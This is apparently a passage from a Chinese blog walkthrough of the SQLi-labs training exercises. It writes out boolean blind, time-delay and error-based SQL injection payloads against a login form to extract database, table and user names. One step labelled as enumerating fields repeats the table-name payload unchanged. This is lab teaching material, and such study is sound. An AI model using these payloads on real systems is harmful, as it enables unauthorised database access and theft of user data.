![在这里插入图片描述](https://img-blog.csdnimg.cn/356fcd3a5ca5495aa5ab3fc7e10742db.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
![在这里插入图片描述](https://img-blog.csdnimg.cn/0f41fce31984496f8645545bf7f51fba.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
2、判断数据库名信息
uname=1' or ascii(substring((select schema_name from information_schema.schemata limit 6,1),1))=115 # &passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/a94ba771627041e8b43b137e4ec71498.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
3、判断数据库表名信息
uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/d96bdd2dec6546b5a5dbd7c97494a5b3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
4、判断字段名信息
uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/7eaa1398cf77471f9c5cdb033e532f52.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
5、判断数据信息
uname=1' or ascii(substring((select username from users limit 0,1),1))=68 # &passwd=&submit=Submit
三、延迟型注入
1、需要注意的是使用的连接符是 or 不是 and ,使用 if() 时,当语句正确时,应当执行 1 ,错误的时候,再执行 sleep() 。不然假如,正确时,执行的是 sleep() ,就会成 uname=1’ or sleep(3) ,这样 or 两边都没有返回 true 值,就不正确了。所以,应该是正确的时候执行的是 1,这样就成了 uname=1’ or 1,1就相当于 true,这样才正确。
2、其他的和 Less-9 基本一样,这里就列出来一步。
3、查询数据库名信息
uname=1'or if(ascii(substring((select schema_name from information_schema.schemata limit 0,1),1))=105,1,sleep(1)) #&passwd=1&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/cbc58b493b0e45a9b8eaf98b50feec52.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
Less17:报错型注入[ ’ ]
1、判断闭合符
uname=Dumb&passwd=\&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/a642c4eacbfa49edbd049a289fee3706.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
2、爆出数据库信息
uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#&submit=Submit
![在这里插入图片描述](https://img-blog.csdnimg.cn/f0b93424dee54a049aa3f8263543a9a9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aSn5aSn5aSn6Jyc6JyC,size_20,color_FFFFFF,t_70,g_se,x_16)
\
有任何问题,欢迎大家到评论区讨论